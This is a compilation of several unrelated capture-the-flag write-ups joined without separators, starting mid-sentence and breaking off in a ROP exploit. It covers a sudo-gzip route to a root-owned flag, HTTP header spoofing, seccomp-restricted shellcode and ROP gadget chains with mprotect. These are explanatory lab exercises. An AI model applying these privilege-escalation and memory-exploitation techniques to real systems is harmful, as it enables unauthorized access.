name of the directory is `admin`, use the username and password we recovered to unlock it and get the flag: `flag{cracked_the_password}`
Using ghidra, we can decompile the binary. Annotating some variables, and inferring the size andtype of the array we obtain the following: ```cundefined8 main(void){ int num; uint index; uint n; int matchcount; int collatz_selector; index = 0; do { if (0x29f7 < index) { putchar(10); return 0; } collatz_selector = int_array[index]; matchcount = int_array[index + 1]; n = 1; while (n < 900000000) { num = collatz(n); if (collatz_selector == num) { matchcount = matchcount + -1; } if (matchcount == 0) { putchar(n + 0xca5b17ff); fflush(stdout); break; } n = n + 1; } index = index + 2; } while( true );}``` The collatz function is as follows: ```cint collatz(uint n) { uint current; int collatz_number; collatz_number = 0; current = n; while (current != 1) { if ((current & 1) == 0) { current = current >> 1; } else { current = current * 3 + 1; } collatz_number = collatz_number + 1; } return collatz_number;}``` so our payload is in the int_array, which is an array of pairs.The first entry is the collatz number, and the second is a count.Iterating over 900,000,000 values of n, once the match count fora given collatz number is reached, the value, offset by a constant,is printed out. Obviously, there is a lot of recalculation. Storing 900,000,000 intswill take 3.6 gigabytes, which I didn't happen to have on hand. However,we can immediately stop collatz once it reaches 360. There are only60 distinct (collatz number, count) pairs so you can just sweepthrough the entire 900,000,000 numbers and simply mark them as you goalong. ```c#include <stdint.h>#include <stdio.h>#include <string.h> #include <map>#include <vector> unsigned int collatz(unsigned int n) { unsigned int i = 0; if (n == 0) { return 0; } while (n != 1 && i < 360) { if ((n & 1) == 0) { n /= 2; } else { n = 3*n + 1; } i += 1; } return i;} int main() { int i; unsigned int nums[1200]; /*Zero out nums*/ memset(nums, 0, sizeof(nums)); /* Map of counts for each selector. */ auto nums_map = std::map<unsigned int,std::vector<unsigned int> >(); /* initialize selectors */ nums_map[105] = std::vector<unsigned int>(); nums_map[110] = std::vector<unsigned int>(); nums_map[113] = std::vector<unsigned int>(); nums_map[116] = std::vector<unsigned int>(); nums_map[136] = std::vector<unsigned int>(); nums_map[160] = std::vector<unsigned int>(); nums_map[181] = std::vector<unsigned int>(); nums_map[185] = std::vector<unsigned int>(); nums_map[199] = std::vector<unsigned int>(); nums_map[202] = std::vector<unsigned int>(); nums_map[211] = std::vector<unsigned int>(); nums_map[247] = std::vector<unsigned int>(); nums_map[266] = std::vector<unsigned int>(); nums_map[271] = std::vector<unsigned int>(); nums_map[273] = std::vector<unsigned int>(); nums_map[303] = std::vector<unsigned int>(); nums_map[318] = std::vector<unsigned int>(); nums_map[341] = std::vector<unsigned int>(); nums_map[352] = std::vector<unsigned int>(); /* populate selectors */ nums_map[105].push_back(2020429); nums_map[105].push_back(2020432); nums_map[105].push_back(2020433); nums_map[105].push_back(2020434); nums_map[110].push_back(4399499); nums_map[113].push_back(2166353); nums_map[116].push_back(2711150); nums_map[136].push_back(4253755); nums_map[136].push_back(4253767); nums_map[136].push_back(4253790); nums_map[136].push_back(4253798); nums_map[136].push_back(4253800); nums_map[136].push_back(4253801); nums_map[136].push_back(4253803); nums_map[136].push_back(4253808); nums_map[136].push_back(4253809); nums_map[136].push_back(4253810); nums_map[136].push_back(4253813); nums_map[136].push_back(4253814); nums_map[136].push_back(4253816); nums_map[136].push_back(4253817); nums_map[136].push_back(4253818); nums_map[136].push_back(4253820); nums_map[136].push_back(4253822); nums_map[136].push_back(4253823); nums_map[136].push_back(4253824); nums_map[136].push_back(4253825); nums_map[136].push_back(4253826); nums_map[136].push_back(4253827); nums_map[136].push_back(4253828); nums_map[160].push_back(3678256); nums_map[160].push_back(3678257); nums_map[181].push_back(4130207); nums_map[181].push_back(4130208); nums_map[185].push_back(7553325); nums_map[199].push_back(3861206); nums_map[199].push_back(3861209); nums_map[202].push_back(4806021); nums_map[211].push_back(3144271); nums_map[211].push_back(3144273); nums_map[211].push_back(3144274); nums_map[211].push_back(3144275); nums_map[211].push_back(3144276); nums_map[211].push_back(3144277); nums_map[211].push_back(3144278); nums_map[211].push_back(3144279); nums_map[211].push_back(3144280); nums_map[211].push_back(3144281); nums_map[211].push_back(3144282); nums_map[211].push_back(3144283); nums_map[211].push_back(3144284); nums_map[211].push_back(3144285); nums_map[247].push_back(5973577); nums_map[266].push_back(2039181); nums_map[271].push_back(1779864); nums_map[273].push_back(1867034); nums_map[303].push_back(1522942); nums_map[318].push_back(838140); nums_map[341].push_back(473526); nums_map[352].push_back(495094); /* Initialize nums array*/ for(auto i = nums_map.begin(); i != nums_map.end(); ++i) { nums[i->first] = i->second[0]; } for(unsigned int n = 1; n < 900000000; ++n) { i = collatz(n); if(nums[i] == 0) { continue; } if(nums[i] == 1) { unsigned int count = nums_map[i][0]; nums_map[i].erase(nums_map[i].begin()); if (nums_map[i].size() == 0) { nums[i] = 0; } else { nums[i] = nums_map[i][0] - count; } printf("(%d, %d) %d %d %c\n", i, count, n, (unsigned char)(n+0xca5b17ff), (unsigned char)(n+0xca5b17ff)); } else { nums[i] -= 1; } }``` Here we've dumped the unique symbols into `num_maps : map<uint, vector<int>`.This runs in about 5 minutes in a single thread on a 1.6 Ghz i5. We can thentake this list and decode the entire array. That said, there's another way that I thought was necessary because I miscountedthe number of 0's in 900000000. The 1100 byte array is simply an array of 60 unique symbols for english. You canjust use frequency analysis on it to decode almost all the characters. You knowwhich ascii characters are still available at the end, and since it's a 1337sp34k flag you can just guess the rest.
#### Short Story- Please have a look at [https://ctftime.org/writeup/26877](https://ctftime.org/writeup/26877) for Hermit - Part 1 exploit.- Now can have at look at sudoers file using `cat /etc/sudoers`- There we will find a special command `sudo /bin/gzip -f /root/rootflag.txt -t` intentionally created to see the flag file under `/root` by unprevilaged user `hermit`. ### Bonus##### Get full SSH access to the server as `hermit`? Please have a look at [https://www.youtube.com/watch?v=ANqQd7et2Yg](https://www.youtube.com/watch?v=ANqQd7et2Yg) (~ 3 mins video length).
I got the [a.out](https://github.com/mar232320/ctf-writeups/raw/main/umassctf2021/a.out) file which runs a web server. I also have a website link [http://34.72.232.191:8080/](http://34.72.232.191:8080/) This was very easy challenge for me overall. When I went to the webserver page I found this content # Dynamic pages!!! /page?args ? (this is also a 404 page...) Try going to /echo?message I echoed some data - for example /echo?test and the web page displayed `test` Echo is a linux command so as it was written in the main page I tried cat/cat?flag.txt The site returned `UMASS{f^gJkmvYq` so I added } to the flag> UMASS{f^gJkmvYq}
# Warren Buffer In WarrenBuffer.pcap we saw some HTTP-requests. Examined those requests in HTTP-streams and we saw that those requests differ from each other by last 2 symbols in User-Agent header. On the Figure 1 example of HTTP-stream can be seen, and the Figure 31 reveals the difference between every User-Agent, ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-25-20.png) Figure 1 – Example of HTTP-stream ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-25-25.png) Figure 2 – Difference between every User-Agent These symbols are hex bytes. We converted it to ASCII text and get the following link: https://ghostbin.co/paste/yqtsek93, but this web-resource requires a password. A password is in last HTTP-stream. This stream can be seen on the Figure 3. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-25-30.png) Figure 3 – HTTP-stream that contains password Enter password and get a paste content, which is base64 encoded data. This data can be converted to JPEG image. The decoded picture is shown on the Figure 4. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-25-36.png) Figure 4 – Base64-decode picture The interesting part on this picture is a block with text “My bytes are washed by 7d76830dDDBBA391F542cCbc3E598Df392a3F274”.7d76830dDDBBA391F542cCbc3E598Df392a3F274 – looks like an address in Ethereum blockchain. There is no such address in real Ethereum network, but there is in a test network Ropsten. Blockchain explorer is shown on the Figure 5. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-25-41.png) Figure 5 – Blockchain explorerOne of the transactions has an interesting content, which can be seen on the Figure 6. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-25-46.png) Figure 6 – Interesting input date in the transaction In the receiver’s account (0x0f9ede1bc4cb11e614fa739df6e303f9ab19335d) transactions we can see a smart contract creation. The receivers’ transactions can be seen on the Figure 7 and the smart-contract creation is shown on the Figure 8. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-25-50.png) Figure 7 – Receivers’ transactions ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-25-55.png) Figure 8 – Smart-contract creation Field “input data” contains compiled smart contract. We use online decompiler https://ethervm.io/decompile and get disassembly of the contract. The disassembly is shown on the Figure 9. ![](https://raw.githubusercontent.com/kukuxumushi/HTBxUNI-CTF-quals-writeups/master/pictures/2021-03-07-23-26-00.png) Figure 9 – The smart-contract code 3 underlined strings on the figure above are hex values of the flag. After converting hex to ASCII, we got the flag.Flag: HTB{1a4b20ec17323f20909c224614308f09}.
# **Presentation**The objective is to pretend to be a user who is accepted by the site to obtain the page with the flag.# **Flaw to be exploited**The flaw exploited is in the HTTP request, and more precisely in the headers thereof, which we send to the server that we can modify and which allows us to access the different pages.# **Solution**This solution is divided into several steps.## Step 1When we launch the challenge we arrive on this page. ![image](https://i.ibb.co/JrhhNwV/premiere-partie.png) Note that only people coming from an official browser can access the real site.We must therefore modify the header "User-Agent".[Explanation of the effect of the header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent)We therefore replace the value by :`User-Agent: PicoBrowser`## Step 2After the first part we arrive on this page: ![image](https://i.ibb.co/p4rTk8s/2eme-partis.png) He tells us that he doesn't believe users coming from other sites.So we need to add the header :"Refer".[Explanation of the effect of the header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer)Let's put this value :`Referer: http://mercury.picoctf.net:36622/`## Step 3So we come to this page : ![image](https://i.ibb.co/q7KFWrv/3-partie.png) We are told that the site only works in 2018.So let's add the following header : "Date".[Explanation of the effect of the header](https://developer.mozilla.org/fr/docs/Web/HTTP/Headers/Date)Let's give it a date in 2018 like this :`Date: Wed, 21 Oct 2018 07:28:00 GMT`## Step 4Once the request is sent this page appears : ![image](https://i.ibb.co/N6FJsrC/4-partie.png) He tells us that he doesn't believe the users who are being stalked.Let's add the following header : "DNT"[Explanation of the effect of the header](https://developer.mozilla.org/fr/docs/Web/HTTP/Headers/DNT)Insert this command in your request :`DNT: 1`## Step 5This time the site brings us to this page : ![image](https://i.ibb.co/P6r0JSL/5-partie.png) He tells us that he accepts people from Sweden.We will therefore add the following header : "X-Forwarded-For"[Explanation of the effect of the header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For)You also need to find an IP address from Sweden.I found one here : [Adresse ip from Sweden](https://awebanalysis.com/fr/ip-lookup/31.3.152.55/)And we get a header like this :`X-Forwarded-For: 31.3.152.55`## Step 6Finally we arrive on this page: ![image](https://i.ibb.co/THDTpCY/derniere-parti.png) He wants us to speak Swedish to be able to access the last part.We are therefore going to modify the following header : "Accept-Language"[Explanation of the effect of the header](https://developer.mozilla.org/fr/docs/Web/HTTP/Headers/Accept-Language)And let's put it the following value :`Accept-Language: sv,en;q=0.9`# ConclusionThe challenge is relatively simple once you know where you have to operate the site.The rest is just research versus what the site tells us.Hoping that this could help you ;) If you liked this writeup you can check our github with this [link](https://github.com/PoCInnovation/ReblochonWriteups/tree/master/PicoCTF2021) and star our repository.
# Follow up By [Siorde](https://github.com/Siorde) ## DescriptionWe got a clue from one of our investigators that an interesting secret was transferred in our network. Help us find out the secret. ## SolutionSo we have a PCAP file and we need to find the flag in there.First thing first, i grep for the "shatkictf" flag format.```tcpdump -qns 0 -A -r network1.pcapng | grep -i shaktictf```I didn't find anything, so i just look at the content of the file to see if i can find anything.```tcpdump -qns 0 -A -r network1.pcapng```And at the end their was : ```18:51:06.192015 IP 192.168.0.184.8280 > 192.168.0.184.43154: tcp 30E..R.$@.@........... X..-0..m..U...@.........+<..+%https://pastebin.com/4NXGaVbA```And the flag was here : shaktictf{Th15_w4s_eA5Y!!}
# Delete By [Siorde](https://github.com/Siorde) ## DescriptionSometimes what you see is not always true... ## SolutionWe got a png file that couldn't be display. So the flag isn't in the picture, but hidden in the file.First thing, i tried to do a "strings" on the file to see if the flag in the raw data.```strings chall.png | grep -i shaktictf```But their wasn't anything.Second try, i looked for embedded files in the image```binwalk chall.pngDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PNG image, 264 x 191, 8-bit colormap, non-interlaced48 0x30 PNG image, 1200 x 1200, 8-bit/color RGBA, non-interlaced89 0x59 Zlib compressed data, default compression```I found this interresting second image (the 1200*1200 one) in the file. So i extreacted it : ```binwalk -D=".*" chall.png```And when i looked at the image, the flag was their : shakictf{Y0u_4R3_aM4z1nG!!!!}
## CHALLENGE DESCRIPTION *Static Analysis* * Using the commands `file chall && checksec chall && rabin2 -z chall && rabin2 -i chall`. The binary file has no protections and it is a 64-bit binary file.* There are various imports in the binary including `gets` and therefore this definately leads to a buffer overflow.* Since there is no `nx` therefore we can store shellcode in memory and execute the shellcode getting a shell. *Dynamic Anaylsis*- Using a debugger the binary is a small binary and uses gets to get input therefore definately a buffer overflow. The offset to the saved `rip` registers is @ 24- Therefore we will store the shellcode @ `elf.sym.bomb` this is where out first input goes and return there to execute our shellcode *Seccomp* * There are some seccomp-filters in the binary that only allow the use of `open, read && write`. Therefore our shellcode should only contain the read and write and open syscall.* Therefore this means we: * open("flag.txt", 0, 0) * read(rax, rsp, 0x100) : The value of rax this is the value returned by open that is the `fd` of the opened file. : The value of `rsp` that will be our buffer and this is the region where we copy the contents of the file. * write(1, rsp, rax): The value of `rax` this is returned by `read` and this is the number of bytes read from the opened file. * These filters can be seen using the command `seccomp-tools dump ./chall` ``` line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011 0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010 0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010 0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010 0008: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0010 0009: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILL```- There using pwntools shellcraft we can generate our shellcode and that can be used to read the flag.- Therefore the final exploit code [exploit.py](exploit.py)
# Chunkies By [Siorde](https://github.com/Siorde) ## DescriptionWe could only retrieve only this file from the machine, but looks like this is corrupted. Can you recover the file? ## SolutionWe got a file that should be a png. First i checked if it was right.```file file.pngfile.png: data```So something is wrong. I did an hexdump of the file and compared it with another png file : ```hexdump -C Sharfolder/file.png | head00000000 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 |PNG........IHDR.|00000010 00 02 00 00 00 01 34 08 06 00 00 00 5a 9b 8b dc |......4.....Z...|00000020 00 00 20 00 49 41 44 54 78 5e ec 7d 07 94 1d c5 |.. .IADTx^.}....|00000030 95 f6 37 39 2b 27 84 24 44 90 10 20 b2 41 04 01 |..79+'.$D.. .A..|00000040 12 c1 24 63 1b 67 2f ce 61 9d d7 bb c6 61 1d 76 |..$c.g/.a....a.v|00000050 1d d6 bf 8d 31 b6 59 1b 7b 9d 23 b6 31 36 c1 e4 |....1.Y.{.#.16..|00000060 24 44 16 22 08 21 94 33 ca 28 8c c2 e4 f0 de fc |$D.".!.3.(......|00000070 a7 42 f7 eb d7 d3 5d f7 56 77 bf 99 01 d5 9c 63 |.B....].Vw.....c|00000080 23 4d 57 57 dd fb dd 58 b7 6e b5 ca de 73 cd ba |#MWW...X.n...s..|00000090 3e b8 1f 87 80 43 c0 21 e0 10 70 08 38 04 0e 2a |>....C.!..p.8..*|``````hexdump -C chall.png | head00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|00000010 00 00 01 08 00 00 00 bf 08 03 00 00 00 35 90 b2 |.............5..|00000020 b4 00 00 02 19 50 4c 54 45 ff ff ff 00 18 ff 49 |.....PLTE......I|00000030 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|00000040 00 00 04 b0 00 00 04 b0 08 06 00 00 00 eb 21 b3 |..............!.|00000050 cf 00 00 20 00 49 44 41 54 78 9c ec dd 79 90 a4 |... .IDATx...y..|00000060 77 79 d8 f1 5f 95 2c 4b 65 c5 32 32 84 68 b1 4c |wy.._.,Ke.22.h.L|00000070 90 44 1c 12 c0 80 81 90 38 d8 c1 b1 02 21 c1 31 |.D......8....!.1|00000080 76 9c 0a 22 a4 b0 70 a9 62 0e 73 14 e2 b4 30 90 |v.."..p.b.s...0.|00000090 c3 50 36 f1 41 4c 5c b1 9d 14 04 23 83 01 05 e2 |.P6.AL\....#....|```It seems like it's missing an byte at the begining. I used https://hexed.it/ to edit the file and the "89" missing byte. Now the file is detected as a png, but it doesn't display anything.```file file.pngfix.png: PNG image data, 512 x 308, 8-bit/color RGBA, non-interlaced```Then I used the tool pngcheck to see what's wrong the the picture.```File: file.png (45357 bytes) chunk IHDR at offset 0x0000c, length 13 512 x 308 image, 32-bit RGB+alpha, non-interlaced CRC error in chunk IHDR (computed 5a7b8bdc, expected 5a9b8bdc)ERRORS DETECTED in file.png```I didn't know the compostion of a png file, so i did some research on the error, and found this page that clarify the error for me : https://hackmd.io/@FlsYpINbRKixPQQVbh98kw/Sk_lVRCBrI updated the value on the second line of the with the value expected and run the command again (the picture would still not be display).```pngcheck -v file.pngFile: Sharfolder/file(3).png (45357 bytes) chunk IHDR at offset 0x0000c, length 13 512 x 308 image, 32-bit RGB+alpha, non-interlaced chunk IADT at offset 0x00025, length 8192: illegal (unless recently approved) unknown, public chunkERRORS DETECTED in file.png```Their was another error. While looking for the previous error, I found that in the composition of a png file, their was a IDAT chunk after IHDR that i alredy updated. I spend more time that i would admit to find that that the message error said IADT instead of IDAT. So I, again, updated the hex of the file.png to change the value to IDAT.Then, same error, different line. The probleme was on the multiple occurence of IIDAT in the file. I changed all of them.The last one was :```pngcheck -v Sharfolder/file\(6\).pngFile: Sharfolder/file(6).png (45357 bytes) chunk IHDR at offset 0x0000c, length 13 512 x 308 image, 32-bit RGB+alpha, non-interlaced chunk IDAT at offset 0x00025, length 8192 zlib: deflated, 32K window, fast compression chunk IDAT at offset 0x02031, length 8192 chunk IDAT at offset 0x0403d, length 8192 chunk IDAT at offset 0x06049, length 8192 chunk IDAT at offset 0x08055, length 8192 chunk IDAT at offset 0x0a061, length 4280 chunk INED at offset 0x0b125, length 0: illegal (unless recently approved) unknown, public chunkERRORS DETECTED in Sharfolder/file(6).png```But from now, i knew what type of error it was, so just change INED for IEND, and here we go :```pngcheck -v Sharfolder/file\(7\).pngFile: Sharfolder/file(7).png (45357 bytes) chunk IHDR at offset 0x0000c, length 13 512 x 308 image, 32-bit RGB+alpha, non-interlaced chunk IDAT at offset 0x00025, length 8192 zlib: deflated, 32K window, fast compression chunk IDAT at offset 0x02031, length 8192 chunk IDAT at offset 0x0403d, length 8192 chunk IDAT at offset 0x06049, length 8192 chunk IDAT at offset 0x08055, length 8192 chunk IDAT at offset 0x0a061, length 4280 chunk IEND at offset 0x0b125, length 0No errors detected in Sharfolder/file(7).png (8 chunks, 92.8% compression).```And there was the image with the flag : shaktictf{Y4YyyyY_y0u_g0t_1T}
# **Grocery_List** In this 200 points challenge from **ShaktiCon** we get a txt with a base64 string: ```UmV2ZXJzZSBHcm9jZXJ5UGxhY2UKCnZpY2h5c3NvaXNlICAgICAgICAgICAgIAptYW5nbyAgICAgICAgICAgICAgICAgICAKdmVybW91dGgKenVjb3R0bwpzYW5kd2ljaApsYW1iCnZlYWwKeW9ndXJ0CnZlcm1pY2VsbGkKenVjY2hpbmkKc2FsbW9uCmZlbm5lbCBzZWVkcwppY2UgY3JlYW0KY2Fycm90cwp1bmFnaQppbmNhIGJlcnJpZXMKY2FiYmFnZQp1cG1hCmdyYXBlcwpuYWFuCmFwcGxlcwpiYW5hbmFzCmFsbW9uZHMKYmFzaWwKZmVudWdyZWVrCnBvdGF0b2VzCnBpZQpzb3kgYmVhbnMKZWdncwp0dW5hZmlzaAoKRmluZCB0aGUgaW5wdXQgdG8gdGhlIGZvbGxvd2luZyBvdXRwdXQuCk9VVFBVVDogNGN1bTc3aXRRZEt5NHI3Y35ybTV1MDVwbE4=```with a **base64** decoder we get this "*Grocery List*":```Reverse GroceryPlace vichyssoise mango vermouthzucottosandwichlambvealyogurtvermicellizucchinisalmonfennel seedsice creamcarrotsunagiinca berriescabbageupmagrapesnaanapplesbananasalmondsbasilfenugreekpotatoespiesoy beanseggstunafish Find the input to the following output.OUTPUT: 4cum77itQdKy4r7c~rm5u05plN```The last two lines tell us what to do so..after some *osint*, I found an ***esoteric programming language*** and his stack instructions are described by the first letter of each "product" on the list but I was not able to find any compiler or interpreter for it so i had to decode it by hand ?.Online there are 2 sources that explains what every instrunction does: [esolang.org](https://esolangs.org/wiki/Grocery_List) and [progopedia.com](http://progopedia.com/language/grocery-list/ ).I tried to translate my list with the [esolang table](https://esolangs.org/wiki/Grocery_List) but when i saw the **A instruction**```a pops the top two values on the stack, adds them together and pops the result.```It made no sense to ***"pop the result"*** so i tried to translate the code with [progopedia table](http://progopedia.com/language/grocery-list/ ).```a (add) — push S0+S1.b (bring) — remove bottom element and push it on the top.c (copy) — duplicate S0.d (divide) — push S0/S1.e (end loop) — end of the loop.f (flip) — flip elements S0 and S1.g (greater than) — push 1, if S0>S1, and 0 otherwise.h — execute command which corresponds to character a+S0%26.i (input) — read a character from stdin and push its ASCII value.j (jump) — jump S0 lines forward.k (kill) — remove all elements from the stack.l (loop) — start loop: the loop repeats as long as S0is non-zero and there are elements in the stack.m (multiply) — push S0*S1.n (number) — push the number of characters in the current list item (including whitespace).o (output) — print S0 as a number.p (print) — print S0 as a character.q — no operation.r (remainder) — push S0 mod S1.s (subtract) — push S0-S1.t (terminate) — terminate program execution.u (unbring) — pop S0 and put it to the bottom of the stack.v (value) — push ASCII-code of the next list item (and skip execution of the next line).w — push 100.x — pop S0.y — remove Sn, where n is the number of characters in the current list item.z (zero) — push 1 if S0=0, and 0 otherwise.```> PS: `The "v" instructions push only the first letter from the word` This is my "Translation" of the program:```vichyssoise mango stack: m vermouthzucotto stack: zmsandwich stack: (z-m)lamb while (z-m)!=0: stack: (z-m)veal yogurt stack: y(z-m)vermicellizucchini stack: zy(z-m)salmon stack: (z-y)(z-m) fennel seeds stack: (z-m)(z-y)ice cream $ will be my first input stack: $(z-m)(z-y)carrots stack: $$(z-m)(z-y)unagi stack: $(z-m)(z-y)$inca berries # will be my second input stack: #$(z-m)(z-y)$cabbage stack: ##$(z-m)(z-y)$upma stack: #$(z-m)(z-y)$#grapes 1#$(z-m)(z-y)$# if #>$ else 0#$(z-m)(z-y)$# ? will be 1 or 0, from the condition below stack: ?#$(z-m)(z-y)$#naan stack: 4?#$(z-m)(z-y)$#apples stack: (4+?)#$(z-m)(z-y)$#bananas stack: #(4+?)#$(z-m)(z-y)$almonds stack: (#+4+?)#$(z-m)(z-y)$basil stack: $(#+4+?)#$(z-m)(z-y)fenugreek stack: (#+4+?)$#$(z-m)(z-y)potatoes print((#+4+?)) stack: $#$(z-m)(z-y)pie print($) stack: #$(m-z)(z-y)soy beans ends the cicle if (#-$)==0 stack: (#-$)(m-z)(z-y)eggs tunafish terminates the program```after that, i translated it line by line into a python script:```st=[]st.insert(0,ord('m'))st.insert(0,ord('z'))st[0]-=st.pop(1)def inverti(primo,secondo): temp1=st[primo] temp2=st[secondo] st[primo]=temp2 st[secondo]=temp1 while(st[0]!=0): st.insert(0,ord('y')) st.insert(0,ord('z')) st[0]-=st.pop(1) inverti(0,1) pri=input('first input: ') st.insert(0,ord(pri)) st.append(ord(pri)) seco=input('second input: ') st.insert(0,ord(seco)) st.append(ord(seco)) st.insert(0,1) if(st[0]>st[1]) else st.insert(0,0) st.insert(0,4) st[0]+=st.pop(1) #apples st.insert(0,st.pop(len(st)-1)) st[0]+=st.pop(1) st.insert(0,st.pop(len(st)-1)) inverti(0,1) print(chr(st.pop(0))) print(chr(st.pop(0))) st[0]-=st.pop(1)```As we see, the output of the program depense only by our inputs so we can simplify our script into this function```def getRes(a,b): firstPrint=1 if ord(b)>ord(a) else 0 firstPrint+=4 firstPrint+=ord(b) return chr(firstPrint)+a```And this function will encrypt 2 letters per time, now that we have a simple and working function, we can bruteforce the inputs and try to get the solution.```dic="1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"target="4cum77itQdKy4r7c~rm5u05plN"result=""while len(target)!= len(result): coupleAim=target[0+len(result):2+len(result)] for a in dic: for b in dic: if(getRes(a,b)==coupleAim): result+=a result+=b break print(result)> c0mp73tedMyGr0c3ry5h0pp1Ng```That's our FLAG! We now can add shaktictf{} and we get:**shaktictf{c0mp73tedMyGr0c3ry5h0pp1Ng}**
## ropme (BSIDESSF2021) I didn't really participate in the ctf, but I found this challenge to beinteresting and since not many teams solved it/posted writeups I decided topost my solution. It's probably not the most elegant - if you solved it in adifferent way I'd love to hear about it. In this writeup, I'm assuming you have a basic understanding of x86 architecture, return oriented programming, and the Linux API. ## Exploitable Service We're given a service binary and its source code. ```bash[joey@gibson]$ file ropmeropme: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b82649cdb66e4b3f92ea5fd28e374b5793cb9f26, not stripped``` The target binary is a 32-bit ELF. This will be useful when we are writing ourexploit. Let's take a look at the important parts of the source code. ```C// Generate a random block of +rwx memory that'll be filled randomlyuint32_t *random_code = mmap((void*)CODE_START, CODE_LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); // Allocate memory for the user to send us a stack - it's just +rwuint8_t *stack = mmap((void*)STACK_START, STACK_LENGTH, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); ... alarm(TIME); // Set the randomness in stone at the outsettime_t t = time(NULL); // Immediately let the user know how much time they haveprintf("The current time is: %ld\n", t);printf("You have %d seconds to make this work\n", TIME); // Populate the random code block using a predictable RNGint i;srand(t);for(i = 0; i < CODE_LENGTH / 4; i++) { random_code[i] = rand();} ```The service allocates two memory regions: * `random_code` with read, write, and exec permissions at address `CODE_START` (`0x13370000`) * `stack` with just read and write permissions and an address chosen by the system (`STACK_LENGTH` is `NULL`) The program uses `time(2)` to generate the seed for pseudo-random numbergeneration and conveniently tells the client what that seed is. It proceeds tofill `random_code` memory region with (you guessed it!) pseudo-random 32-bitnumbers. Finally the service reads `STACK_LENGTH` bytes of user input into the `stack`region, uses `asm(3)` to clear all of the registers, set the stack pointer(`esp`) to the `stack` memory region and immediately `ret`'s. What's going on here? Essentially, a contrived example of a stack overflowvulnerability, exploitable via Return Oriented Programming (ROP). Instead ofwriting a vulnerable program, the author of this challenge cut to the chaseand generated an artificial stack for our exploit. The first thing that happensafter we populate that stack is the `ret` operation, so we already control theinstruction pointer (`eip`) with the first four bytes of our input. ## Dumpster diving for gadgets We control `eip` but the only place we can reliably jump to is the `random_code`memory region, filled with junk. Lots of interesting things can be found in thejunk! Turns out if you generate `0x500000` of pseudo-random bytes, *some* of thosebytes will happen to be ROP gadgets. Remember that we are handed over the seedfor pseudo-random number generation, which means we can recreate `random_code`locally (even if we weren't given the seed - one second is a *long* time - wecould call `time(2)` locally and get the same result). The exploitation plan is straightforward - generate the same randommemory that the service did and find the necessary gadgets for our ROP chain.There's only one problem - our ROP gadgets can't be too long. The longerthe instruction the less chances we have of finding it in the randomlyinitialized memory. What happens if not all gadgets are present? We just try again! I wrapped myexploit with a shell script that kept trying until the exploit was successful.Through trial and error I found that we can find any two-byte gadget (including`ret`) with every attempt. A three-byte gadget already calls for somebruteforcing, so we must keep those to a minimum (my ROP chain ended up havingtwo three-byte gadgets - I bet there's a better solution out there). ## Exploit methodology The goal of this challenge is to read the contents of `/home/ctf/flag.txt`. Asis often the case with restricted exploitation environment, instead of attackingthis problem head-on, we will modify the environment to make exploitationeasier for us. We have full control over the stack, but it is set asnon-executable. Our ROP chain will have to change the `stack` memory regionpermissions to executable. Then we simply jump into the stack and execute thesecond stage shellocde, which will read the flag for us. To change permissions of a memory region, we utilize the `mprotect(2)` systemcall. If you've read the man page you know that `mprotect` might expect apage-aligned address and length. Since wedon't know the stack address, the first thing our ROP chain needs to do is grabthe stack address from the stack pointer. As this is our first operation, `esp`will be pointing at `stack+4`, so we decrement `ebx` four times. Now we pop therest of the arguments and the syscall number to the respective registers and run`int 0x80` (remember we're dealing with a 32-bit system). Here is the list of gadgets we're looking for: ```asm; gadget 0; used to grab the stack address89 e3 mov ebx, espc3 ret ; gadget 1; used to page align the stack address4b dec ebxc3 ret ; gadget 2; used for syscall parameter loading58 pop eaxc3 ret ; gadget 3; used for syscall parameter loading59 pop ecxc3 ret ; gadget 4; used for syscall parameter loading5a pop edxc3 ret ; gadget 5; everyone's favorite interruptcd 80 int 0x80c3 ret ; gadget 6; jump to our second stage shellcodeff e4 jmp esp```The stack layout will look like this:```C *((uint32_t *)(exploit+0)) = mov_ebx; // address of mov ebx, esp gadget *((uint32_t 